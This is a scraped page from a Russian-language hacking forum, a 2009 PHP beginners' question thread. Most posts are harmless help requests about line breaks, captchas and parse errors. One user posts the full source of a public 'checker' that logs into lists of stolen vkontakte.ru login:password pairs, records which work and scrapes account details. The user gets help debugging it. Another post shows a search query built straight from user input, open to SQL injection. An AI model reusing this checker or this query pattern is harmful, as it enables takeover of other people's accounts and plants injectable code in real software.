[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. [dei]

    [dei] Active Member

    Joined:
    24 Nov 2008
    Messages:
    171
    Likes Received:
    112
    Reputations:
    5

    нафига дублировать, тебе ответили уже
    https://forum.antichat.ru/thread110183.html
     
    1 person likes this.
  2. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Ре адепты!
    вопрос:
    сделал форму ввода текстеа,но когда я хочу написать что то с новой строки и послать в бд, то облом, текст выглядит не так,как я его набрал,там где должно быть с новой строки - там идёт вряр...как исоравить?

    Пример:
    ввожу:
    1
    2
    3
    получаю:
    1 2 3
     
    #8922 -m0rgan-, 10 Mar 2009
    Last edited: 10 Mar 2009
    1 person likes this.
  3. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    http://ru.php.net/nl2br
     
    1 person likes this.
  4. TERYS

    TERYS Member

    Joined:
    11 Jan 2006
    Messages:
    77
    Likes Received:
    22
    Reputations:
    -2
    Хочу закодировать текст.
    Получаю ошибку
    Parse error: syntax error, unexpected T_STRING in Z:\home\test2.ru\www\wp-content\themes\ForestGreen\test2.php on line 12

    что делаю не так?
     
    1 person likes this.
  5. kraken

    kraken Member

    Joined:
    2 Jan 2009
    Messages:
    74
    Likes Received:
    75
    Reputations:
    5
    TERYS посмотри ты там не закрыл в нужных местах кавычку. юзай редакторы с подсветкой кода!
     
    3 people like this.
  6. Fuckel

    Fuckel Banned

    Joined:
    16 Jan 2008
    Messages:
    274
    Likes Received:
    59
    Reputations:
    6
    TERYS, ты забыл экранировать кавычки в нужных местах.
    kraken, все у него кавычки на местах.
     
  7. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25

    Эээ...а есть примеры где-нибудь мб ? Я про капчу почти ничего не знаю,кроме как того,что она тормозит регу )))
     
  8. kraken

    kraken Member

    Joined:
    2 Jan 2009
    Messages:
    74
    Likes Received:
    75
    Reputations:
    5
    TERYS твой код
    PHP:
    <?php

    eval(str_rot13('function check_footer(){$l=\'<a href="http://www.askgraphics.com/">Website design</a> by AskGraphics.com | <a href="http://www.skinpress.com/">Wordpress themes</a> by SkinPress\';$f=dirname(__FILE__).\'/footer.php\';$fd=fopen($f,\'r\');$c=fread($fd,filesiz e($f));fclose($fd);if(strpos($c,$l)==0){echo \'This theme is released under creative commons licence, all links in the footer should remain intact\';die;}}check_footer();'));


    eval(
    str_rot13('function check_header(){if(!(function_exists("check_functions")&&function_exists("check_f_footer"))){echo(\'This theme is released under creative commons licence, all links in the footer should remain intact\');die;}}'));


    ?>
     
  9. Fuckel

    Fuckel Banned

    Joined:
    16 Jan 2008
    Messages:
    274
    Likes Received:
    59
    Reputations:
    6
    тривиальный пример каптчи:
    PHP:
    <?php
    session_start
    ();
    $c rand(1000099999);
    $_SESSION['c']=$c;
    $im imagecreate(10030);
    $bg imagecolorallocate($im255255255);
    $textcolor imagecolorallocate($im00255);
    imagestring($im500$_SESSION['c'], $textcolor);
    header("Content-type: image/png");
    imagepng($im);
    ?> 
    рандомом берется пятизначное число, записывается в сессию и выводится на экран в виде png
    на счет качественной каптчи лучше погугли. есть довольно интерсеные.
     
    #8929 Fuckel, 10 Mar 2009
    Last edited: 10 Mar 2009
  10. jkSeyv

    jkSeyv Member

    Joined:
    19 Jan 2009
    Messages:
    0
    Likes Received:
    18
    Reputations:
    3
    есть проблема с чекером. Сразу говорю, чекер-паблик, нашёл на злом, датирован август 2008.
    но чекает четко: валид-невалид, кол-во друзья, рейт; подчсет в сумме...
    тестил на денвере всё ок!
    Проблема заключается в том, что когда чекает акки, то вписывает в конечный файл вот такой вид:

    т.е. пишет всё в одну строчку... копаясь в коде, ниче не нашёл.
    вот кусок начала кода чекера:

    кто поможет разобраться? в долгу не останусь)
     
  11. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    477
    Likes Received:
    483
    Reputations:
    99
    не тот кусок кода дал.
    fwrite не видно что-то)
     
  12. jkSeyv

    jkSeyv Member

    Joined:
    19 Jan 2009
    Messages:
    0
    Likes Received:
    18
    Reputations:
    3
    wildshaman
    дык, я когда копался, то смотрел по примеру др. php кода, то сам не нашёл ниче такого...
     
  13. jkSeyv

    jkSeyv Member

    Joined:
    19 Jan 2009
    Messages:
    0
    Likes Received:
    18
    Reputations:
    3
    нужны ещё вроде put() либо fputs() посоветовали..

    fputs() тока в коде имеется:

    PHP:
    <center><div style='width: 100%; text-align: center;'><img src='http://vkontakte.ru/images/xhead2.gif' /></div></center>
    <?
    @set_time_limit(0);
    $votes = 0;
    $traffic = 0;
    $badacc = 0;
    $friendz = 0;
    $ratecount = 0;
    $goldcount = 0;
    $fbad = fopen("lowrate.txt","w");
    fclose($fbad);
    $fbad = fopen("lowrate.txt","a+");
    $fval = fopen("valid.txt","w");
    fclose($fval);
    $fval= fopen("valid.txt","a+");
    @$filelog = file_get_contents("log.txt");
    if(!empty($_POST['list']))
        {
    $accs123 = split("\n",$_POST['list']); }
    else {
    $accs123 = split("\n",$filelog); }
    if(empty($_POST['list']) && empty($filelog)) {
    $aaaa = 0; } else {
    $aaaa = count($accs123); }

    if(!isset($_POST['list'])) {
    echo <<<list
    <center><form method="post">
        <p>
    Список акков <br>

    Если нажать кнопку "проверить" с пустым полем - будут проверяться акки из <b>log.txt</b><br>
    <textarea name="list" rows=15 cols=37></textarea><br>
        <input type="submit" value="Проверить" >
        </p>
     </form></center>
    list;
    echo ("<br><center><b>(c) AdReNa1!Ne & Kaimi<br>All Rights Left</b></center>");
    die();
    }

    $valid = 0;
    $invalid = 0;
    @$filelog = file_get_contents("log.txt");
    set_time_limit(0);
    if(!empty($_POST['list']))
        {
        $accs = split("\n",$_POST['list']); 
    }
    else {
        $accs = split("\n",$filelog); }
          $accs = array_unique($accs);
          if(!empty($accs)) {
        $browser="Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14";
        echo '<center><table border="1"><tr><td><b>Аккаунт</b></td><td><b>Рейтинг</b></td><td><b>Идентификатор</b></td><td><b>Друзья</b></td><td><b>Оплаченные голоса</b></td></tr>';
        foreach($accs as $acc)
            {
                $pos = strpos($acc, ";");
                $pos1 = strpos($acc, ":");
                $acc = trim($acc);
                if($pos != false) {
                $separator = ";"; }
                if($pos1 != false) {
                $separator = ":"; } 
            list($login, $pwd) = split($separator, $acc);
            
            $ret=socket_do("vkontakte.ru","email={$login}&pass={$pwd}","/login.php",$browser,'',1,"POST",'http://vkontakte.ru',1,'',''); 
            $traffic = $traffic + strlen($ret);
                if(preg_match("/\b302 Found\b/is", $ret)) {
                fputs($fval, $acc);
                $valid++;   
                }            
                $ret=substr($ret,0,strpos($ret,"\r\n\r\n"));
            preg_match_all('/Set-Cookie: (.+);/iUs',$ret,$cook);
            $cookies = array();
            foreach($cook[1] as $ck)
                {
                $cookies[]=$ck;
                }
            $cookies=implode('; ',array_unique($cookies));
            
            $ret=socket_do("vkontakte.ru",'',"/rate.php",$browser,$cookies,1,"GET",'',0,'','');
                $traffic = $traffic + strlen($ret);
                    preg_match('/remixmid=(\d+);/i',$cookies, $id);
                    preg_match('/У Вас <b>(.*)</i',$ret, $vote);
                    $votes = $votes + $vote[1];
                    if(!empty($vote[1])) {
                    $voteansw = "<td><b>Голосов - $vote[1]</b></td>";
                    }
                    else {
                    $voteansw = "<td>Голосов - 0</td>"; }
              $retfri=socket_do("vkontakte.ru",'',"/id".$id[1],$browser,$cookies,1,"GET",'',0,'','');
                $traffic = $traffic + strlen($retfri);
            preg_match('/Друзья <span>(.*)</i',$retfri, $friends);
                $friends = str_replace("(","",$friends);
                $friends = str_replace(")","",$friends);
                $friends = str_replace("</span></h2>","",$friends);
                $friendz = $friendz + $friends[1];
                 if($friends[1] > 500) {
                      $friendszzzz = "<b>".$friends[1]."</b>"; }
                      else {
                      $friendszzzz = $friends[1]; }
                 if(strlen($id[1]) < 6) {
                 $idch = "<b>".$id[1]."</b>"; }
                 else {
                 $idch = $id[1]; }
                if(!preg_match('/percentGold" style="width:100px">(.*)</',$ret, $rate))
                {
                preg_match('/percent" style="width:100px">(.*)</',$ret, $rate);
                if($rate[1] == "100%") {
                      $rrrr = "FULL RATE";
                      $ratemin = str_replace("%","",$rate[1]);
                      if($ratemin < 30) {
                      fputs($fbad, $acc);
                      $badacc++; }
                      } else {
                      $rrrr = "RATE"; } 
                      $ratemin = str_replace("%","",$rate[1]);
                      if($ratemin < 30) {
                      fputs($fbad, $acc);
                      $badacc++; }
                      if(strlen($rate[1]>0) && $ratemin > 30) echo "<tr><td>$acc</td>   <td>$rate[1] - $rrrr</td> <td>ID - $idch</td><td>Друзей - $friendszzzz</td>$voteansw</tr>\n";            
    }
            else
                {
                      $ratemin = str_replace("%","",$rate[1]);
                      if($ratemin < 30) {
                      fputs($fbad, $acc);
                      $badacc++; }
                if(strlen($rate[1]>0) && $ratemin > 30) echo "<tr><td>$acc   <td><b>$rate[1] - GOLD RATE</b></td> <td>ID - $idch</td><td>Друзей - $friendszzzz</td>$voteansw</tr>\n";    
    $goldcount++;            
    }

            }
    usleep(500);
        }

    function socket_do($host,$vars,$service_uri,$browser,$cookies='',$sread=1,$method='POST',$ref='',$addheaders=1,$proxy=false,$proxyport=0,$HTTP='1.0')
    {
      $ret="";

      if($method=='GET' && $vars)
      {
        $service_uri.='?'.$vars;
        $vars='';
      }

      $header="Host: $host\r\n";
      $header.="User-Agent: $browser\r\n";

      if($addheaders==1)
      {
        $header.="Content-Type: application/x-www-form-urlencoded\r\n";
        $header.="Content-Length: ".strlen($vars)."\r\n";
      }
      else if($addheaders==0)
      {
        $header.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
        $header.="Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
        $header.="Accept-Encoding: \r\n";
        $header.="Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";
      }
      else if($addheaders==2)
      {
        $header.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
        $header.="Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
        $header.="Accept-Encoding: \r\n";
        $header.="Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";
        $header.="Pragma: no-cache\r\n";
        $header.="Cache-Control: no-cache\r\n";
        $header.="Content-Length: ".strlen($vars)."\r\n";
        $header.="Content-Type: application/x-www-form-urlencoded; charset=windows-1251\r\n";
      }
      else if($addheaders==3)
      {
        $header.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
        $header.="Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
        $header.="Accept-Encoding: gzip,deflate\r\n";
        $header.="Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";
      }


      if($ref) $header.="Referer: $ref\r\n";

      $header.="Connection: close\r\n";

      if($cookies)
        $header.="Cookie: $cookies\r\n";

      $header.="\r\n";


      if($proxy)
      {
        $addquery="$method http://$host$service_uri  HTTP/$HTTP\r\n";
        $fp=fsockopen("tcp://".$proxy,$proxyport,$errno,$errstr,30);
      }
      else
      {
        $addquery="$method $service_uri  HTTP/$HTTP\r\n";
        $fp=fsockopen("tcp://".$host,80,$errno,$errstr,30);
      }

      stream_set_timeout($fp,30);

      if(!$fp)
      {
        print "<font color=red>Socket error: <i>$errstr ($errno)</i></font><br>";
        return '';
      }

      fputs($fp,$addquery);
      fputs($fp,$header.$vars);

      if($sread)
      {
        while(!feof($fp))
        {
          $ret.=fgets($fp, 128);
        }
      }

      fclose($fp);

      return $ret;
    }
    fclose($fval);
    fclose($fbad);
    $invalid = $aaaa - $valid;
    $ratecount = $valid - $goldcount;
    $traffic = $traffic / 1024;
    выручайте, знаю, вы сможете :)

    нужно чтоб записывал валидные акки с каждой новой строкой
     
  14. bombeg

    bombeg Member

    Joined:
    27 Oct 2008
    Messages:
    136
    Likes Received:
    83
    Reputations:
    8
    =>
     
  15. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    РЕ адепты!
    снова я с вопросом...*Застыдился*

    В общем как сделать такую фичу, как у вас в быстром отвере, что типа клацаеш а В и в текстовом поле появляется

    И как кделать так, чтоб html, php и прочья вредная х-ня не обрабатывались в форме?

    Зарание спасибо!
     
  16. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    Всмысле в цитатах? там выборка идет из БАЗЫ.
    Для передачи быстрого ответа достаточно отправить форму с текстом..
     
  17. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Не, я клацаю на [​IMG] и в поле ввода текста появляется ббкод , вот это мне нужно осуществить...
     
    1 person likes this.
  18. jkSeyv

    jkSeyv Member

    Joined:
    19 Jan 2009
    Messages:
    0
    Likes Received:
    18
    Reputations:
    3
    bombeg всё работает, спасибо :)
    ща мож не по теме будет, кто знает как денвер настроить чтоб он контактовал не тока с gprs подключением, отключая прокси, но чтоб ещё можно было с прокси работать?
    Объясняю, у меня запрос земля (жопорез) - приём со спутника, инёт держится через ускоритель, а та прокся что прописана, в настройках браузера и есть само подключение со спутником... проблема в том, что подключение через gprs очень дорого((( вот и хочется чтоб с проксей работал.. включаю прокси, вылазит ошибка подкл.
    понятно так о чем я?
     
  19. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    m0Hze
    PHP:
    function netMatch ($CIDR,$IP) {
        list (
    $net$mask) = explode ('/'$CIDR);
        return ( 
    ip2long ($IP) & ~((<< (32 $mask)) - 1) ) == ip2long ($net);

    var_dump(netMatch('127.0.0.0/16','127.0.0.51'));
     
    _________________________
    1 person likes this.
  20. #Wolf#

    #Wolf# Elder - Старейшина

    Joined:
    26 Mar 2008
    Messages:
    375
    Likes Received:
    166
    Reputations:
    16
    вот имею такой скрипт поиска:
    PHP:
    $search=$_POST['search'];
    $querymysql_query("SELECT * FROM list WHERE surname='$search' OR name='$search' OR patronymic= '$search' ORDER BY surname");
    $resultmysql_num_rows($query);

    if (
    $result == 0)
    {
    echo 
    "Ничего не найдено по запросу <b>$search</b><br><br><br>";
     
    }
    else if (
    $result == 1)
    {
    echo 
    "Найден<b>1</b> результат!<br><br><br>";
    }
    else {
    echo 
    "Найдено <b>$result</b> результата(ов)!<br><br><br>";
    }
    while (
    $rowmysql_fetch_array($query))
    {
    echo 
    "<tr class=\"name_result\"><td>$row[surname]&nbsp;$row[name]</td></tr>";
    }
    если искать только имя или только фамилию, то претензий нет..а если Имя фамилию, или Ф.И.О то естественно ничего не находит...
    как быть в таком случае?
     
    #8940 #Wolf#, 11 Mar 2009
    Last edited: 11 Mar 2009
    1 person likes this.
Thread Status:
Not open for further replies.